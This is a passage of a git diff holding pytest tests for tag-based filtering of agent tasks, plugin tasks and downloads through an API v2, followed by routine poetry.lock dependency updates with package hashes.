client, admin_auth_header, agent, _create_agent_tasks_with_tags +): + resp = client.get(f"/api/v2/agents/{agent}/tasks", headers=admin_auth_header) + + assert resp.status_code == 200 + assert len(resp.json()["records"]) == 3 + + resp = client.get( + f"/api/v2/agents/{agent}/tasks?tags=test_tag_0:test_value_0", + headers=admin_auth_header, + ) + + assert resp.status_code == 200 + assert len(resp.json()["records"]) == 1 + assert resp.json()["records"][0]["input"] == "whoami_0" + assert resp.json()["records"][0]["tags"][0]["name"] == "test_tag_0" + + resp = client.get( + f"/api/v2/agents/{agent}/tasks?tags=test_tag_0:test_value_0&tags=test_tag_1:test_value_1", + headers=admin_auth_header, + ) + + assert resp.status_code == 200 + assert len(resp.json()["records"]) == 2 + assert resp.json()["records"][1]["input"] == "whoami_0" + assert resp.json()["records"][1]["tags"][0]["name"] == "test_tag_0" + assert resp.json()["records"][0]["input"] == "whoami_1" + assert resp.json()["records"][0]["tags"][0]["name"] == "test_tag_1" + + # Test tag value bad + resp = client.get( + f"/api/v2/agents/{agent}/tasks?tags=test_tag_0", headers=admin_auth_header + ) + + assert resp.status_code == 422 + assert ( + resp.json()["detail"][0]["msg"] == 'string does not match regex "^[^:]+:[^:]+$"' + ) + + +@pytest.fixture(scope="function") +def _create_plugin_tasks_with_tags( + models, session_local, client, admin_auth_header, plugin_name +): + plugin_tasks = [] + tags = [] + for i in range(3): + plugin_task = models.PluginTask( + plugin_id=plugin_name, + input=f"input {i}", + input_full=f"input {i}", + user_id=None, + status=PluginTaskStatus.completed, + ) + with session_local.begin() as db: + db.add(plugin_task) + db.flush() + plugin_tasks.append({"id": plugin_task.id}) + + for i, plugin_task in enumerate(plugin_tasks): + resp = client.post( + f"/api/v2/plugins/{plugin_name}/tasks/{plugin_task['id']}/tags", + headers=admin_auth_header, + json={"name": f"test_tag_{i}", "value": f"test_value_{i}"}, + ) + assert resp.status_code == 201 + tags.append((plugin_task, resp.json())) + + yield plugin_tasks + + for task, tag in tags: + resp = client.delete( + f"/api/v2/plugins/{plugin_name}/tasks/{task['id']}/tags/{tag['id']}", + headers=admin_auth_header, + ) + assert resp.status_code == 204 + + with session_local.begin() as db: + db.query(models.PluginTask).delete() + + +def test_get_plugin_tasks_tag_filter( + client, admin_auth_header, plugin_name, _create_plugin_tasks_with_tags +): + resp = client.get(f"/api/v2/plugins/{plugin_name}/tasks", headers=admin_auth_header) + + assert resp.status_code == 200 + assert len(resp.json()["records"]) == 3 + + resp = client.get( + f"/api/v2/plugins/{plugin_name}/tasks?tags=test_tag_0:test_value_0", + headers=admin_auth_header, + ) + + assert resp.status_code == 200 + assert len(resp.json()["records"]) == 1 + assert resp.json()["records"][0]["input"] == "input 0" + assert resp.json()["records"][0]["tags"][0]["name"] == "test_tag_0" + + resp = client.get( + f"/api/v2/plugins/{plugin_name}/tasks?tags=test_tag_0:test_value_0&tags=test_tag_1:test_value_1", + headers=admin_auth_header, + ) + + assert resp.status_code == 200 + assert len(resp.json()["records"]) == 2 + assert resp.json()["records"][1]["input"] == "input 0" + assert resp.json()["records"][1]["tags"][0]["name"] == "test_tag_0" + assert resp.json()["records"][0]["input"] == "input 1" + assert resp.json()["records"][0]["tags"][0]["name"] == "test_tag_1" + + # Test tag value bad + resp = client.get( + f"/api/v2/plugins/{plugin_name}/tasks?tags=test_tag_0", + headers=admin_auth_header, + ) + + assert resp.status_code == 422 + assert ( + resp.json()["detail"][0]["msg"] == 'string does not match regex "^[^:]+:[^:]+$"' + ) + + +@pytest.fixture(scope="function") +def _create_downloads_with_tags(models, session_local, client, admin_auth_header): + downloads = [] + tags = [] + with session_local.begin() as db: + # Unsure why this is needed, but it is. + # Some other test must be adding a download and not removing it. + db.query(models.upload_download_assc).delete() + db.query(models.Download).delete() + + for i in range(3): + download = models.Download( + location=f"path/{i}", filename=f"filename_{i}", size=1 + ) + with session_local.begin() as db: + db.add(download) + db.flush() + downloads.append({"id": download.id}) + + for i, download in enumerate(downloads): + resp = client.post( + f"/api/v2/downloads/{download['id']}/tags", + headers=admin_auth_header, + json={"name": f"test_tag_{i}", "value": f"test_value_{i}"}, + ) + assert resp.status_code == 201 + tags.append(resp.json()) + + yield downloads + + for tag in tags: + resp = client.delete( + f"/api/v2/downloads/{downloads[0]['id']}/tags/{tag['id']}", + headers=admin_auth_header, + ) + assert resp.status_code == 204 + + with session_local.begin() as db: + db.query(models.download_tag_assc).delete() + db.query(models.Download).delete() + + +def test_get_downloads_tag_filter( + client, admin_auth_header, _create_downloads_with_tags +): + resp = client.get("/api/v2/downloads/", headers=admin_auth_header) + + assert resp.status_code == 200 + + assert len(resp.json()["records"]) == 3 + + resp = client.get( + "/api/v2/downloads?tags=test_tag_0:test_value_0", + headers=admin_auth_header, + ) + + assert resp.status_code == 200 + assert len(resp.json()["records"]) == 1 + assert resp.json()["records"][0]["location"] == "path/0" + assert resp.json()["records"][0]["tags"][0]["name"] == "test_tag_0" + + resp = client.get( + "/api/v2/downloads?tags=test_tag_0:test_value_0&tags=test_tag_1:test_value_1", + headers=admin_auth_header, + ) + + assert resp.status_code == 200 + assert len(resp.json()["records"]) == 2 + + record_0 = next(filter(lambda x: x["location"] == "path/0", resp.json()["records"])) + record_1 = next(filter(lambda x: x["location"] == "path/1", resp.json()["records"])) + + assert record_0 + assert record_0["location"] == "path/0" + assert record_0["tags"][0]["name"] == "test_tag_0" + + assert record_1 + assert record_1["location"] == "path/1" + assert record_1["tags"][0]["name"] == "test_tag_1" + + # Test tag value bad + resp = client.get("/api/v2/downloads?tags=test_tag_0", headers=admin_auth_header) + + assert resp.status_code == 422 + assert ( + resp.json()["detail"][0]["msg"] == 'string does not match regex "^[^:]+:[^:]+$"' + ) diff --git a/poetry.lock b/poetry.lock index ba8fdaca9..bdde2a874 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2,13 +2,13 @@ [[package]] name = "aiofiles" -version = "0.7.0" +version = "23.1.0" description = "File support for asyncio." optional = false -python-versions = ">=3.6,<4.0" +python-versions = ">=3.7,<4.0" files = [ - {file = "aiofiles-0.7.0-py3-none-any.whl", hash = "sha256:c67a6823b5f23fcab0a2595a289cec7d8c863ffcb4322fb8cd6b90400aedfdbc"}, - {file = "aiofiles-0.7.0.tar.gz", hash = "sha256:a1c4fc9b2ff81568c83e21392a82f344ea9d23da906e4f6a52662764545e19d4"}, + {file = "aiofiles-23.1.0-py3-none-any.whl", hash = "sha256:9312414ae06472eb6f1d163f555e466a23aed1c8f60c30cccf7121dba2e53eb2"}, + {file = "aiofiles-23.1.0.tar.gz", hash = "sha256:edd247df9a19e0db16534d4baaf536d6609a43e1de5401d7a4c1c148753a1635"}, ] [[package]] @@ -43,23 +43,6 @@ doc = ["Sphinx", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd- test = ["anyio[trio]", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (>=0.17)"] trio = ["trio (<0.22)"] -[[package]] -name = "asgiref" -version = "3.7.2" -description = "ASGI specs, helper code, and adapters" -optional = false -python-versions = ">=3.7" -files = [ - {file = "asgiref-3.7.2-py3-none-any.whl", hash = "sha256:89b2ef2247e3b562a16eef663bc0e2e703ec6468e2fa8a5cd61cd449786d4f6e"}, - {file = "asgiref-3.7.2.tar.gz", hash = "sha256:9e0ce3aa93a819ba5b45120216b23878cf6e8525eb3848653452b4192b92afed"}, -] - -[package.dependencies] -typing-extensions = {version = ">=4", markers = "python_version < \"3.11\""} - -[package.extras] -tests = ["mypy (>=0.800)", "pytest", "pytest-asyncio"] - [[package]] name = "attrs" version = "23.1.0" @@ -203,15 +186,148 @@ files = [ {file = "blinker-1.6.2.tar.gz", hash = "sha256:4afd3de66ef3a9f8067559fb7a1cbe555c17dcbe15971b05d1b625c3e7abe213"}, ] +[[package]] +name = "brotli" +version = "1.0.9" +description = "Python bindings for the Brotli compression library" +optional = false +python-versions = "*" +files = [ + {file = "Brotli-1.0.9-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:268fe94547ba25b58ebc724680609c8ee3e5a843202e9a381f6f9c5e8bdb5c70"}, + {file = "Brotli-1.0.9-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:c2415d9d082152460f2bd4e382a1e85aed233abc92db5a3880da2257dc7daf7b"}, + {file = "Brotli-1.0.9-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:5913a1177fc36e30fcf6dc868ce23b0453952c78c04c266d3149b3d39e1410d6"}, + {file = "Brotli-1.0.9-cp27-cp27m-win32.whl", hash = "sha256:afde17ae04d90fbe53afb628f7f2d4ca022797aa093e809de5c3cf276f61bbfa"}, + {file = "Brotli-1.0.9-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:7cb81373984cc0e4682f31bc3d6be9026006d96eecd07ea49aafb06897746452"}, + {file = "Brotli-1.0.9-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:db844eb158a87ccab83e868a762ea8024ae27337fc7ddcbfcddd157f841fdfe7"}, + {file = "Brotli-1.0.9-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:9744a863b489c79a73aba014df554b0e7a0fc44ef3f8a0ef2a52919c7d155031"}, + {file = "Brotli-1.0.9-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a72661af47119a80d82fa583b554095308d6a4c356b2a554fdc2799bc19f2a43"}, + {file = "Brotli-1.0.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7ee83d3e3a024a9618e5be64648d6d11c37047ac48adff25f12fa4226cf23d1c"}, + {file = "Brotli-1.0.9-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:19598ecddd8a212aedb1ffa15763dd52a388518c4550e615aed88dc3753c0f0c"}, + {file = "Brotli-1.0.9-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:44bb8ff420c1d19d91d79d8c3574b8954288bdff0273bf788954064d260d7ab0"}, + {file = "Brotli-1.0.9-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e23281b9a08ec338469268f98f194658abfb13658ee98e2b7f85ee9dd06caa91"}, + {file = "Brotli-1.0.9-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:3496fc835370da351d37cada4cf744039616a6db7d13c430035e901443a34daa"}, + {file = "Brotli-1.0.9-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b83bb06a0192cccf1eb8d0a28672a1b79c74c3a8a5f2619625aeb6f28b3a82bb"}, + {file = "Brotli-1.0.9-cp310-cp310-win32.whl", hash = "sha256:26d168aac4aaec9a4394221240e8a5436b5634adc3cd1cdf637f6645cecbf181"}, + {file = "Brotli-1.0.9-cp310-cp310-win_amd64.whl", hash = "sha256:622a231b08899c864eb87e85f81c75e7b9ce05b001e59bbfbf43d4a71f5f32b2"}, + {file = "Brotli-1.0.9-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:cc0283a406774f465fb45ec7efb66857c09ffefbe49ec20b7882eff6d3c86d3a"}, + {file = "Brotli-1.0.9-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:11d3283d89af7033236fa4e73ec2cbe743d4f6a81d41bd234f24bf63dde979df"}, + {file = "Brotli-1.0.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c1306004d49b84bd0c4f90457c6f57ad109f5cc6067a9664e12b7b79a9948ad"}, + {file = "Brotli-1.0.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1375b5d17d6145c798661b67e4ae9d5496920d9265e2f00f1c2c0b5ae91fbde"}, + {file = "Brotli-1.0.9-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cab1b5964b39607a66adbba01f1c12df2e55ac36c81ec6ed44f2fca44178bf1a"}, + {file = "Brotli-1.0.9-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8ed6a5b3d23ecc00ea02e1ed8e0ff9a08f4fc87a1f58a2530e71c0f48adf882f"}, + {file = "Brotli-1.0.9-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cb02ed34557afde2d2da68194d12f5719ee96cfb2eacc886352cb73e3808fc5d"}, + {file = "Brotli-1.0.9-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:b3523f51818e8f16599613edddb1ff924eeb4b53ab7e7197f85cbc321cdca32f"}, + {file = "Brotli-1.0.9-cp311-cp311-win32.whl", hash = "sha256:ba72d37e2a924717990f4d7482e8ac88e2ef43fb95491eb6e0d124d77d2a150d"}, + {file = "Brotli-1.0.9-cp311-cp311-win_amd64.whl", hash = "sha256:3ffaadcaeafe9d30a7e4e1e97ad727e4f5610b9fa2f7551998471e3736738679"}, + {file = "Brotli-1.0.9-cp35-cp35m-macosx_10_6_intel.whl", hash = "sha256:c83aa123d56f2e060644427a882a36b3c12db93727ad7a7b9efd7d7f3e9cc2c4"}, + {file = "Brotli-1.0.9-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:6b2ae9f5f67f89aade1fab0f7fd8f2832501311c363a21579d02defa844d9296"}, + {file = "Brotli-1.0.9-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:68715970f16b6e92c574c30747c95cf8cf62804569647386ff032195dc89a430"}, + {file = "Brotli-1.0.9-cp35-cp35m-win32.whl", hash = "sha256:defed7ea5f218a9f2336301e6fd379f55c655bea65ba2476346340a0ce6f74a1"}, + {file = "Brotli-1.0.9-cp35-cp35m-win_amd64.whl", hash = "sha256:88c63a1b55f352b02c6ffd24b15ead9fc0e8bf781dbe070213039324922a2eea"}, + {file = "Brotli-1.0.9-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:503fa6af7da9f4b5780bb7e4cbe0c639b010f12be85d02c99452825dd0feef3f"}, + {file = "Brotli-1.0.9-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:40d15c79f42e0a2c72892bf407979febd9cf91f36f495ffb333d1d04cebb34e4"}, + {file = "Brotli-1.0.9-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:93130612b837103e15ac3f9cbacb4613f9e348b58b3aad53721d92e57f96d46a"}, + {file = "Brotli-1.0.9-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:87fdccbb6bb589095f413b1e05734ba492c962b4a45a13ff3408fa44ffe6479b"}, + {file = "Brotli-1.0.9-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:6d847b14f7ea89f6ad3c9e3901d1bc4835f6b390a9c71df999b0162d9bb1e20f"}, + {file = "Brotli-1.0.9-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:495ba7e49c2db22b046a53b469bbecea802efce200dffb69b93dd47397edc9b6"}, + {file = "Brotli-1.0.9-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:4688c1e42968ba52e57d8670ad2306fe92e0169c6f3af0089be75bbac0c64a3b"}, + {file = "Brotli-1.0.9-cp36-cp36m-win32.whl", hash = "sha256:61a7ee1f13ab913897dac7da44a73c6d44d48a4adff42a5701e3239791c96e14"}, + {file = "Brotli-1.0.9-cp36-cp36m-win_amd64.whl", hash = "sha256:1c48472a6ba3b113452355b9af0a60da5c2ae60477f8feda8346f8fd48e3e87c"}, + {file = "Brotli-1.0.9-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:3b78a24b5fd13c03ee2b7b86290ed20efdc95da75a3557cc06811764d5ad1126"}, + {file = "Brotli-1.0.9-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:9d12cf2851759b8de8ca5fde36a59c08210a97ffca0eb94c532ce7b17c6a3d1d"}, + {file = "Brotli-1.0.9-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:6c772d6c0a79ac0f414a9f8947cc407e119b8598de7621f39cacadae3cf57d12"}, + {file = "Brotli-1.0.9-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29d1d350178e5225397e28ea1b7aca3648fcbab546d20e7475805437bfb0a130"}, + {file = "Brotli-1.0.9-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:7bbff90b63328013e1e8cb50650ae0b9bac54ffb4be6104378490193cd60f85a"}, + {file = "Brotli-1.0.9-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:ec1947eabbaf8e0531e8e899fc1d9876c179fc518989461f5d24e2223395a9e3"}, + {file = "Brotli-1.0.9-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:12effe280b8ebfd389022aa65114e30407540ccb89b177d3fbc9a4f177c4bd5d"}, + {file = "Brotli-1.0.9-cp37-cp37m-win32.whl", hash = "sha256:f909bbbc433048b499cb9db9e713b5d8d949e8c109a2a548502fb9aa8630f0b1"}, + {file = "Brotli-1.0.9-cp37-cp37m-win_amd64.whl", hash = "sha256:97f715cf371b16ac88b8c19da00029804e20e25f30d80203417255d239f228b5"}, + {file = "Brotli-1.0.9-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e16eb9541f3dd1a3e92b89005e37b1257b157b7256df0e36bd7b33b50be73bcb"}, + {file = "Brotli-1.0.9-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:160c78292e98d21e73a4cc7f76a234390e516afcd982fa17e1422f7c6a9ce9c8"}, + {file = "Brotli-1.0.9-cp38-cp38-manylinux1_i686.whl", hash = "sha256:b663f1e02de5d0573610756398e44c130add0eb9a3fc912a09665332942a2efb"}, + {file = "Brotli-1.0.9-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:5b6ef7d9f9c38292df3690fe3e302b5b530999fa90014853dcd0d6902fb59f26"}, + {file = "Brotli-1.0.9-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8a674ac10e0a87b683f4fa2b6fa41090edfd686a6524bd8dedbd6138b309175c"}, + {file = "Brotli-1.0.9-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:e2d9e1cbc1b25e22000328702b014227737756f4b5bf5c485ac1d8091ada078b"}, + {file = "Brotli-1.0.9-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:b336c5e9cf03c7be40c47b5fd694c43c9f1358a80ba384a21969e0b4e66a9b17"}, + {file = "Brotli-1.0.9-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:85f7912459c67eaab2fb854ed2bc1cc25772b300545fe7ed2dc03954da638649"}, + {file = "Brotli-1.0.9-cp38-cp38-win32.whl", hash = "sha256:35a3edbe18e876e596553c4007a087f8bcfd538f19bc116917b3c7522fca0429"}, + {file = "Brotli-1.0.9-cp38-cp38-win_amd64.whl", hash = "sha256:269a5743a393c65db46a7bb982644c67ecba4b8d91b392403ad8a861ba6f495f"}, + {file = "Brotli-1.0.9-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2aad0e0baa04517741c9bb5b07586c642302e5fb3e75319cb62087bd0995ab19"}, + {file = "Brotli-1.0.9-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5cb1e18167792d7d21e21365d7650b72d5081ed476123ff7b8cac7f45189c0c7"}, + {file = "Brotli-1.0.9-cp39-cp39-manylinux1_i686.whl", hash = "sha256:16d528a45c2e1909c2798f27f7bf0a3feec1dc9e50948e738b961618e38b6a7b"}, + {file = "Brotli-1.0.9-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:56d027eace784738457437df7331965473f2c0da2c70e1a1f6fdbae5402e0389"}, + {file = "Brotli-1.0.9-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9bf919756d25e4114ace16a8ce91eb340eb57a08e2c6950c3cebcbe3dff2a5e7"}, + {file = "Brotli-1.0.9-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:e4c4e92c14a57c9bd4cb4be678c25369bf7a092d55fd0866f759e425b9660806"}, + {file = "Brotli-1.0.9-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:e48f4234f2469ed012a98f4b7874e7f7e173c167bed4934912a29e03167cf6b1"}, + {file = "Brotli-1.0.9-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9ed4c92a0665002ff8ea852353aeb60d9141eb04109e88928026d3c8a9e5433c"}, + {file = "Brotli-1.0.9-cp39-cp39-win32.whl", hash = "sha256:cfc391f4429ee0a9370aa93d812a52e1fee0f37a81861f4fdd1f4fb28e8547c3"}, + {file = "Brotli-1.0.9-cp39-cp39-win_amd64.whl", hash = "sha256:854c33dad5ba0fbd6ab69185fec8dab89e13cda6b7d191ba111987df74f38761"}, + {file = "Brotli-1.0.9-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:9749a124280a0ada4187a6cfd1ffd35c350fb3af79c706589d98e088c5044267"}, + {file = "Brotli-1.0.9-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:73fd30d4ce0ea48010564ccee1a26bfe39323fde05cb34b5863455629db61dc7"}, + {file = "Brotli-1.0.9-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:02177603aaca36e1fd21b091cb742bb3b305a569e2402f1ca38af471777fb019"}, + {file = "Brotli-1.0.9-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:76ffebb907bec09ff511bb3acc077695e2c32bc2142819491579a695f77ffd4d"}, + {file = "Brotli-1.0.9-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b43775532a5904bc938f9c15b77c613cb6ad6fb30990f3b0afaea82797a402d8"}, + {file = "Brotli-1.0.9-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:5bf37a08493232fbb0f8229f1824b366c2fc1d02d64e7e918af40acd15f3e337"}, + {file = "Brotli-1.0.9-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:330e3f10cd01da535c70d09c4283ba2df5fb78e915bea0a28becad6e2ac010be"}, + {file = "Brotli-1.0.9-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:e1abbeef02962596548382e393f56e4c94acd286bd0c5afba756cffc33670e8a"}, + {file = "Brotli-1.0.9-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:3148362937217b7072cf80a2dcc007f09bb5ecb96dae4617316638194113d5be"}, + {file = "Brotli-1.0.9-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:336b40348269f9b91268378de5ff44dc6fbaa2268194f85177b53463d313842a"}, + {file = "Brotli-1.0.9-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3b8b09a16a1950b9ef495a0f8b9d0a87599a9d1f179e2d4ac014b2ec831f87e7"}, + {file = "Brotli-1.0.9-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:c8e521a0ce7cf690ca84b8cc2272ddaf9d8a50294fd086da67e517439614c755"}, + {file = "Brotli-1.0.9.zip", hash = "sha256:4d1b810aa0ed773f81dceda2cc7b403d01057458730e309856356d4ef4188438"}, +] + +[[package]] +name = "brotlicffi" +version = "1.0.9.2" +description = "Python CFFI bindings to the Brotli library" +optional = false +python-versions = "*" +files = [ + {file = "brotlicffi-1.0.9.2-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:408ec4359f9763280d5c4e0ad29c51d1240b25fdd18719067e972163b4125b98"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:2e4629f7690ded66c8818715c6d4dd6a7ff6a4f10fad6186fe99850f781ce210"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:137c4635edcdf593de5ce9d0daa596bf499591b16b8fca5fd72a490deb54b2ee"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:af8a1b7bcfccf9c41a3c8654994d6a81821fdfe4caddcfe5045bfda936546ca3"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:9078432af4785f35ab3840587eed7fb131e3fc77eb2a739282b649b343c584dd"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:7bb913d5bf3b4ce2ec59872711dc9faaff5f320c3c3827cada2d8a7b793a7753"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:16a0c9392a1059e2e62839fbd037d2e7e03c8ae5da65e9746f582464f7fab1bb"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:94d2810efc5723f1447b332223b197466190518a3eeca93b9f357efb5b22c6dc"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:9e70f3e20f317d70912b10dbec48b29114d3dbd0e9d88475cb328e6c086f0546"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:586f0ea3c2eed455d5f2330b9ab4a591514c8de0ee53d445645efcfbf053c69f"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux1_i686.whl", hash = "sha256:4454c3baedc277fd6e65f983e3eb8e77f4bc15060f69370a0201746e2edeca81"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux1_x86_64.whl", hash = "sha256:52c1c12dad6eb1d44213a0a76acf5f18f64653bd801300bef5e2f983405bdde5"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2010_i686.whl", hash = "sha256:21cd400d24b344c218d8e32b394849e31b7c15784667575dbda9f65c46a64b0a"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2010_x86_64.whl", hash = "sha256:71061f8bc86335b652e442260c4367b782a92c6e295cf5a10eff84c7d19d8cf5"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:15e0db52c56056be6310fc116b3d7c6f34185594e261f23790b2fb6489998363"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-win32.whl", hash = "sha256:551305703d12a2dd1ae43d3dde35dee20b1cb49b5796279d4d34e2c6aec6be4d"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-win_amd64.whl", hash = "sha256:2be4fb8a7cb482f226af686cd06d2a2cab164ccdf99e460f8e3a5ec9a5337da2"}, + {file = "brotlicffi-1.0.9.2-pp27-pypy_73-macosx_10_9_x86_64.whl", hash = "sha256:8e7221d8a084d32d15c7b58e0ce0573972375c5038423dbe83f217cfe512e680"}, + {file = "brotlicffi-1.0.9.2-pp27-pypy_73-manylinux1_x86_64.whl", hash = "sha256:75a46bc5ed2753e1648cc211dcb2c1ac66116038766822dc104023f67ff4dfd8"}, + {file = "brotlicffi-1.0.9.2-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:1e27c43ef72a278f9739b12b2df80ee72048cd4cbe498f8bbe08aaaa67a5d5c8"}, + {file = "brotlicffi-1.0.9.2-pp27-pypy_73-win32.whl", hash = "sha256:feb942814285bdc5e97efc77a04e48283c17dfab9ea082d79c0a7b9e53ef1eab"}, + {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a6208d82c3172eeeb3be83ed4efd5831552c7cd47576468e50fcf0fb23fcf97f"}, + {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-manylinux1_x86_64.whl", hash = "sha256:408c810c599786fb806556ff17e844a903884e6370ca400bcec7fa286149f39c"}, + {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-manylinux2010_x86_64.whl", hash = "sha256:a73099858ee343e8801710a08be8d194f47715ff21e98d92a19ac461058f52d1"}, + {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-win32.whl", hash = "sha256:916b790f967a18a595e61f218c252f83718ac91f24157d622cf0fa710cd26ab7"}, + {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ba4a00263af40e875ec3d6c7f623cbf8c795b55705da18c64ec36b6bf0848bc5"}, + {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-manylinux1_x86_64.whl", hash = "sha256:df78aa47741122b0d5463f1208b7bb18bc9706dee5152d9f56e0ead4865015cd"}, + {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-manylinux2010_x86_64.whl", hash = "sha256:9030cd5099252d16bfa4e22659c84a89c102e94f8e81d30764788b72e2d7cfb7"}, + {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-win32.whl", hash = "sha256:7e72978f4090a161885b114f87b784f538dcb77dafc6602592c1cf39ae8d243d"}, + {file = "brotlicffi-1.0.9.2.tar.gz", hash = "sha256:0c248a68129d8fc6a217767406c731e498c3e19a7be05ea0a90c3c86637b7d96"}, +] + +[package.dependencies] +cffi = ">=1.0.0" + [[package]] name = "certifi" -version = "2023.5.7" +version = "2023.7.22" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" files = [ - {file = "certifi-2023.5.7-py3-none-any.whl", hash = "sha256:c6c2e98f5c7869efca1f8916fed228dd91539f9f1b444c314c06eef02980c716"}, - {file = 